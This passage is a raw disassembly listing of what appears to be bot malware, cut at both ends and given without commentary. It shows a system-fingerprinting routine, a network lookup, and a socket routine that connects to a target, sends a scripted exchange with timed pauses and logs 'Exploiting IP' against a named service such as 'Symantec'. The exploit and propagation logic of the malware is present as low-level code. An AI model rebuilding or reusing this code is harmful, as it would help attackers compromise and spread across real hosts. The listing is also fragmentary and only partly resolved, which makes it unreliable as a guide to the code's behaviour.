loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2670E97h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26D04D8h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 26709F6h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 27315A6h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2830000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
